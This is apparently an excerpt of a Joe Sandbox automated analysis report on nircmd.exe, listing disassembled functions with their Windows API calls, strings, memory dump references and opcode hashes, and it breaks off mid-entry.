Strings

RegEdit_RegEdit, xrefs: 000000014001324E

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ChildClassEnumNameWindows_stricmpmemset
String ID: RegEdit_RegEdit
API String ID: 168603426-157708615
Opcode ID: e2d64b859f33b6bf282f42d889871db4404a11caeaee7772369b1c645d909d99
Instruction ID: 8e8dbb6320a9b87bf48631a621144ac84e07f3bc07cf5168535b90af630181e3
Opcode Fuzzy Hash: e2d64b859f33b6bf282f42d889871db4404a11caeaee7772369b1c645d909d99
Instruction Fuzzy Hash: 04011E31208A4191EB22AB17E5443E963A1F74D7C8F544125EB894F9A9DF7EC584C701

Function 0000000140006F98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000000140006FBA
sprintf.MSVCRT ref: 0000000140006FE5
MessageBoxA.USER32 ref: 0000000140007011

Strings

Error, xrefs: 0000000140006FF9
Error %d: %s, xrefs: 0000000140006FD3

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ErrorLastMessagesprintf
String ID: Error$Error %d: %s
API String ID: 1670431679-1552265934
Opcode ID: dcbea983486a26ec5732341c3a8adc85c34391d7621431c41dffdcf89e91b2fc
Instruction ID: 4ddd83a302d7d53d73cd8ddaae2cf2e8eb3a932459d839aa78bf6b21c5cb14af
Opcode Fuzzy Hash: dcbea983486a26ec5732341c3a8adc85c34391d7621431c41dffdcf89e91b2fc
Instruction Fuzzy Hash: 0B015AB2304B8992EB25DB12E0407C963A1F74CBC4F848526EF9817729DF79C646CB80

Function 00000001400063D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32 ref: 00000001400063E7
GetProcAddress.KERNEL32 ref: 000000014000640C
FreeLibrary.KERNEL32 ref: 0000000140006423

Strings

DllRegisterServer, xrefs: 00000001400063FC
DllUnregisterServer, xrefs: 0000000140006405

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: DllRegisterServer$DllUnregisterServer
API String ID: 145871493-2931954178
Opcode ID: 4a47dea57b914f909cc15eb698aa1325139753429319544cca445951130f468d
Instruction ID: 231c55faadd0be2b90fe6360a896c111cbee24b7e59c363693c216e16d101d61
Opcode Fuzzy Hash: 4a47dea57b914f909cc15eb698aa1325139753429319544cca445951130f468d
Instruction Fuzzy Hash: FCF0A47161054092E7229B27F88439962A2B78CBD4F985230FB2E1B7B8CF38C885C740

Function 00000001400125E0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 95stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140002BB0: GetVersionExA.KERNEL32(?,?,?,?,0000000140013BEC), ref: 0000000140002BCE

memset.MSVCRT ref: 000000014001263D

Part of subcall function 000000014001223C: OpenProcess.KERNEL32(?,0000000140012699), ref: 0000000140012286
Part of subcall function 000000014001223C: CloseHandle.KERNEL32 ref: 00000001400122DC

strcpy.MSVCRT ref: 00000001400126B1
strcpy.MSVCRT(?,0000000140008586), ref: 0000000140012727
CloseHandle.KERNEL32(?,0000000140008586), ref: 000000014001275F

Strings

:, xrefs: 000000014001269D

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: CloseHandlestrcpy$OpenProcessVersionmemset
String ID: :
API String ID: 2803417046-336475711
Opcode ID: 4442124bceb70b5b8e5e82b92eabe556ce03d5d0d7a74d74a4154d0a89007258
Instruction ID: a28beef735b86818a4b5e5fdad714cf0e69cdb36956060ae73e10025575e6cca
Opcode Fuzzy Hash: 4442124bceb70b5b8e5e82b92eabe556ce03d5d0d7a74d74a4154d0a89007258
Instruction Fuzzy Hash: A0417E72208A8086EB72DB12E8443DA73A0F78C7C5F444126FB994B6E8DF7EC555CB10

Function 0000000140015CBD Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0000000140015D20
__setusermatherr.MSVCRT ref: 0000000140015D6F
_initterm.MSVCRT ref: 0000000140015D83
__getmainargs.MSVCRT ref: 0000000140015DBA
_initterm.MSVCRT ref: 0000000140015DCE

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr
String ID:
API String ID: 1426549593-0
Opcode ID: f035ec0d080eeafeb37274a8e9f0ae0b737a707cfa6e24465fa535ab0cb5c37b
Instruction ID: a22ed7371ef014c80cbe8b7c13af7a4fd5cf2f5e099063eaf0c8fdd12ca6d8f0
Opcode Fuzzy Hash: f035ec0d080eeafeb37274a8e9f0ae0b737a707cfa6e24465fa535ab0cb5c37b
Instruction Fuzzy Hash: 4D310531114A82CAE762AF56E4847D873B0F3483A5F50422AF76A4F2F5DB3AC949CB00

Function 000000014000A400 Relevance: 7.6, APIs: 5, Instructions: 54fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000288C: CreateFileA.KERNEL32 ref: 00000001400028AF

GetFileSize.KERNEL32 ref: 000000014000A437
??2@YAPEAX_K@Z.MSVCRT ref: 000000014000A449
ReadFile.KERNEL32 ref: 000000014000A465
??3@YAXPEAX@Z.MSVCRT ref: 000000014000A494

Part of subcall function 0000000140002AD4: memcpy.MSVCRT ref: 0000000140002B4F

CloseHandle.KERNEL32 ref: 000000014000A49C

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: File$??2@??3@CloseCreateHandleReadSizememcpy
String ID:
API String ID: 1679403186-0
Opcode ID: 1ff4c9c1d114f484d3137a78287c3b43d3d4634c6d425184dbed76a913943ad2
Instruction ID: c1e7359580e6ff75f84a98a052ea8a8d6dbf6e397b3bf86b1cb41a876bfd998d
Opcode Fuzzy Hash: 1ff4c9c1d114f484d3137a78287c3b43d3d4634c6d425184dbed76a913943ad2
Instruction Fuzzy Hash: 1B11847160464042FB19EB67B4043EAA391ABCEBE0F448624FB5947BF5DF7CC0058700

Function 0000000140015CA6 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0000000140015D20
__setusermatherr.MSVCRT ref: 0000000140015D6F
_initterm.MSVCRT ref: 0000000140015D83
__getmainargs.MSVCRT ref: 0000000140015DBA
_initterm.MSVCRT ref: 0000000140015DCE
_cexit.MSVCRT ref: 0000000140015E6D

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: 6787e7afebbb89bd0ae52149f33ccbbcdd98504c7f0d12bc2ff528407d37d055
Instruction ID: 08797969772546be3f1f62d046ca1be72e16552c8cb4fef228ac25ca35d8891b
Opcode Fuzzy Hash: 6787e7afebbb89bd0ae52149f33ccbbcdd98504c7f0d12bc2ff528407d37d055
Instruction Fuzzy Hash: 3F21F231114A42C6EB22AF16E8847D873B0F3583A5F500216FB6A4F2F5DB3AC94AC700

Function 0000000140015CFE Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0000000140015D20
__setusermatherr.MSVCRT ref: 0000000140015D6F
_initterm.MSVCRT ref: 0000000140015D83
__getmainargs.MSVCRT ref: 0000000140015DBA
_initterm.MSVCRT ref: 0000000140015DCE
_cexit.MSVCRT ref: 0000000140015E6D

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: 6787e7afebbb89bd0ae52149f33ccbbcdd98504c7f0d12bc2ff528407d37d055
Instruction ID: 08797969772546be3f1f62d046ca1be72e16552c8cb4fef228ac25ca35d8891b
Opcode Fuzzy Hash: 6787e7afebbb89bd0ae52149f33ccbbcdd98504c7f0d12bc2ff528407d37d055
Instruction Fuzzy Hash: 3F21F231114A42C6EB22AF16E8847D873B0F3583A5F500216FB6A4F2F5DB3AC94AC700

Function 000000014000ABCC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 000000014000ABF0
_stricmp.MSVCRT ref: 000000014000AC8C

Part of subcall function 00000001400031D8: memset.MSVCRT ref: 0000000140003215

MultiByteToWideChar.KERNEL32 ref: 000000014000ACBD

Strings

default_record, xrefs: 000000014000AC7B

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ByteCharInitializeMultiWide_stricmpmemset
String ID: default_record
API String ID: 280450401-2087032002
Opcode ID: f688a93f2687a77f178bbbcb5e4e2beb38c2e1f23ddc1145a1ee6eb81f053987
Instruction ID: 4650d00a0f4bb6349774e66b8a0fa80a006b999bbafc450c015f70ebd7f64630
Opcode Fuzzy Hash: f688a93f2687a77f178bbbcb5e4e2beb38c2e1f23ddc1145a1ee6eb81f053987
Instruction Fuzzy Hash: EC41D37260464486EB27DB27F400BE963E1B78DBC8F054525FF4A5BAA5DF39C4468700

Function 00000001400031D8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000140003215

Part of subcall function 00000001400029DC: strlen.MSVCRT ref: 00000001400029F7
Part of subcall function 00000001400029DC: memcpy.MSVCRT ref: 0000000140002A0F

strtoul.MSVCRT ref: 0000000140003259
atoi.MSVCRT ref: 0000000140003260

Strings

-, xrefs: 000000014000322B

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: atoimemcpymemsetstrlenstrtoul
String ID: -
API String ID: 1661471046-2547889144
Opcode ID: 1f63e8d6d17618599135d86de67db2b33c8ca6db79817fdbd4a9cc827321d703
Instruction ID: 98edbc27bc149f0130c8c2a00779351330696e7f8035b1cc4a17207810a778be
Opcode Fuzzy Hash: 1f63e8d6d17618599135d86de67db2b33c8ca6db79817fdbd4a9cc827321d703
Instruction Fuzzy Hash: 0A1108B2A0C28095FB37EF26E4413E97791EB8D784F448122A3490B996DB3DC6558700

Function 00000001400042B8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000001400042E1
GetProcAddress.KERNEL32 ref: 00000001400042F6

Strings

user32.dll, xrefs: 00000001400042CF
ChangeDisplaySettingsExA, xrefs: 00000001400042EC

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: ChangeDisplaySettingsExA$user32.dll
API String ID: 1646373207-1164668496
Opcode ID: 3f37451d4a6ca2ec2b0be9d7e7440650bc99815d18a364191b9a65f6bf2c306b
Instruction ID: 966dd5e2eb9a60b6bf6f476c4dbf2258b39d9e62d7eead2f1d38c0a30f502c68
Opcode Fuzzy Hash: 3f37451d4a6ca2ec2b0be9d7e7440650bc99815d18a364191b9a65f6bf2c306b
Instruction Fuzzy Hash: 57F04972715B8086EB51CB06F84079AA3A0FB8CBC0F984539AF4C47B69DF39C9058B00

Function 0000000140011EC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,0000000140011A50,?,?,?,?,?,?,?,?), ref: 0000000140011EDD
GetProcAddress.KERNEL32(?,?,0000000140011A50,?,?,?,?,?,?,?,?), ref: 0000000140011EF2

Strings

SetSystemPowerState, xrefs: 0000000140011EE8
kernel32.dll, xrefs: 0000000140011ED4

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: SetSystemPowerState$kernel32.dll
API String ID: 1646373207-2693784556
Opcode ID: 87cbea494520f34f063a927567f1eda031bd3d05d2a56f04c079e8c503b92ba7
Instruction ID: 466539e4f917aa9a26d36aa18016fdff58c860a644d85ff7d001c63dc9f17f0f
Opcode Fuzzy Hash: 87cbea494520f34f063a927567f1eda031bd3d05d2a56f04c079e8c503b92ba7
Instruction Fuzzy Hash: CBE06D3230168096EB468F66F8803A862A2A78C790F984534B71E4F365DF79C9898300

Function 000000014000783C Relevance: 6.3, APIs: 5, Instructions: 69stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000140007873
strcmp.MSVCRT ref: 000000014000788D
strcmp.MSVCRT ref: 00000001400078A4
strlen.MSVCRT ref: 00000001400078B0
strlen.MSVCRT ref: 00000001400078BB

Part of subcall function 0000000140002C40: strcpy.MSVCRT ref: 0000000140002C56
Part of subcall function 0000000140002C40: strcat.MSVCRT ref: 0000000140002C69

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: strcmpstrlen$memsetstrcatstrcpy
String ID:
API String ID: 3634204486-0
Opcode ID: 75ab2747b2270b77f62cc8d410d37e37cc4d719bfcd073ac1ef0c6e4088ec0f7
Instruction ID: bfbaaef8bf44a8684bd47ef9383ea7e467a8a455086e6d30afcec7c62ac8376f
Opcode Fuzzy Hash: 75ab2747b2270b77f62cc8d410d37e37cc4d719bfcd073ac1ef0c6e4088ec0f7
Instruction Fuzzy Hash: A42190B261478086EA15EB13E595BE93395E788BC0F488022FF494B796EF78C601C744

Function 0000000140007728 Relevance: 6.3, APIs: 5, Instructions: 69stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000775F
strcmp.MSVCRT ref: 0000000140007779
strcmp.MSVCRT ref: 0000000140007790
strlen.MSVCRT ref: 000000014000779C
strlen.MSVCRT ref: 00000001400077A7

Part of subcall function 0000000140002C40: strcpy.MSVCRT ref: 0000000140002C56
Part of subcall function 0000000140002C40: strcat.MSVCRT ref: 0000000140002C69

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: strcmpstrlen$memsetstrcatstrcpy
String ID:
API String ID: 3634204486-0
Opcode ID: 94824af1d32d9ea0390e46de89a55322beaa643d731f983ce77801ee981ba7de
Instruction ID: 6fc7987039369ae81cb67713122ea0bcdbc11566a31e3237bd6550f38ff94291
Opcode Fuzzy Hash: 94824af1d32d9ea0390e46de89a55322beaa643d731f983ce77801ee981ba7de
Instruction Fuzzy Hash: E22190B171478086EA15DB13E585BED3395E788BC0F498022FF494B796DF78C601C744

Function 000000014001223C Relevance: 6.1, APIs: 4, Instructions: 76stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140002BB0: GetVersionExA.KERNEL32(?,?,?,?,0000000140013BEC), ref: 0000000140002BCE

OpenProcess.KERNEL32(?,0000000140012699), ref: 0000000140012286
CloseHandle.KERNEL32 ref: 00000001400122DC
strcpy.MSVCRT ref: 000000014001234F
CloseHandle.KERNEL32 ref: 0000000140012357

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: CloseHandle$OpenProcessVersionstrcpy
String ID:
API String ID: 4262128070-0
Opcode ID: e1699459c397ad271651afe366f61255b9c01b919d58f62fa040baf98259ce18
Instruction ID: 81ae96f3b8bfca4d168ce7fae0768a7d1399ae3365220b7b1bc7082b421af199
Opcode Fuzzy Hash: e1699459c397ad271651afe366f61255b9c01b919d58f62fa040baf98259ce18
Instruction Fuzzy Hash: 4B317E31204A80D6EB229B57A8847ED73A1F78DBC0F544526FB5A4B7A8CF3EC549CB00

Function 0000000140014A1C Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 0000000140014A6A
memset.MSVCRT ref: 0000000140014A8F
memcpy.MSVCRT ref: 0000000140014AD3
memcpy.MSVCRT ref: 0000000140014B1A

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: memcpy$memsetwcscmp
String ID:
API String ID: 1148404714-0
Opcode ID: fc8f1a26565cfd4c0040ef9e554f57077af07ebc5daa61ed1823985d550ee296
Instruction ID: eee7a3a9470ef84088492f9d1a57d06c82348a978fc83e8abd4508d2f8c3510e
Opcode Fuzzy Hash: fc8f1a26565cfd4c0040ef9e554f57077af07ebc5daa61ed1823985d550ee296
Instruction Fuzzy Hash: 48318D7271478086EB25DF22E0943CDB361F788BC0F594021EF994B6AADB39DA05CB40

Function 0000000140003C34 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

??2@YAPEAX_K@Z.MSVCRT(?,?,?,00000001400015DD), ref: 0000000140003CA6
memset.MSVCRT ref: 0000000140003CC2
memcpy.MSVCRT ref: 0000000140003CD8
??3@YAXPEAX@Z.MSVCRT(?,?,?,00000001400015DD), ref: 0000000140003CE5

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: 89e6685dbfa4c7a4e9f70830d1b50f5b51b4dcba3405d8ac2252e3b7a76d6c5e
Instruction ID: de6de90a826d7195813b56192c85afc5a661561055ad69689520fe7ef2cc45be
Opcode Fuzzy Hash: 89e6685dbfa4c7a4e9f70830d1b50f5b51b4dcba3405d8ac2252e3b7a76d6c5e
Instruction Fuzzy Hash: 042139B1A05B8081EA17DB17B9907A873A5E78CBD0F548122FB698B7B5DA3EC1528740

Function 000000014001389C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000000140013922
GetLastError.KERNEL32 ref: 0000000140013935
GetLastError.KERNEL32 ref: 0000000140013948

Strings

ServicesActive, xrefs: 00000001400138BC

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: ServicesActive
API String ID: 1452528299-3071072050
Opcode ID: 910eb002441a54e69e51c7c7e3d182536b646fe0148462de6ca462ab3dab869b
Instruction ID: 285f6f878f5552715b76fdd4f724bc5274a3e707ff24778ffb50b5128dbea1ae
Opcode Fuzzy Hash: 910eb002441a54e69e51c7c7e3d182536b646fe0148462de6ca462ab3dab869b
Instruction Fuzzy Hash: 30213831208B80C2D7219F26A84478973B6F74DBC4F984135FB8A8BB64DF7AC8458700

Function 0000000140003A10 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000288C: CreateFileA.KERNEL32 ref: 00000001400028AF

GetFileSize.KERNEL32(?,?,?,00000000,0000000140011C75,?,?,?,?,?,?,?,?), ref: 0000000140003A3D
free.MSVCRT ref: 0000000140003A4D
ReadFile.KERNEL32 ref: 0000000140003A92
FindClose.KERNEL32 ref: 0000000140003AA5

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: File$CloseCreateFindReadSizefree
String ID:
API String ID: 4050032896-0
Opcode ID: 5075c0c25f31f76edd1cd96cc116926c50790617d62c10593a9e5cc6119b6bba
Instruction ID: 4a57bbc7cce6efebe9ff31d1db199c99861a3a71c8738da2f7410aa6d245db6e
Opcode Fuzzy Hash: 5075c0c25f31f76edd1cd96cc116926c50790617d62c10593a9e5cc6119b6bba
Instruction Fuzzy Hash: 4A115B32714A4082EB16DF66E4103AAB7A1E78CFE8F048212FB594B7A9CF7DC045CB41

Function 00000001400014E4 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32 ref: 000000014000151A
GetDlgItem.USER32 ref: 0000000140001525
GetWindowTextLengthA.USER32 ref: 000000014000152E
GetDlgItemTextA.USER32 ref: 000000014000156F

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ItemText$LengthWindow
String ID:
API String ID: 2992503306-0
Opcode ID: e7c047b6dfc3a84bf1a64fb7f470dfa50d53984dee624b4709404c8b2a72aeb6
Instruction ID: 1d703d3bb772064ab641752a02e052fd4f3cc7a71b23bcea2c48d04600109df8
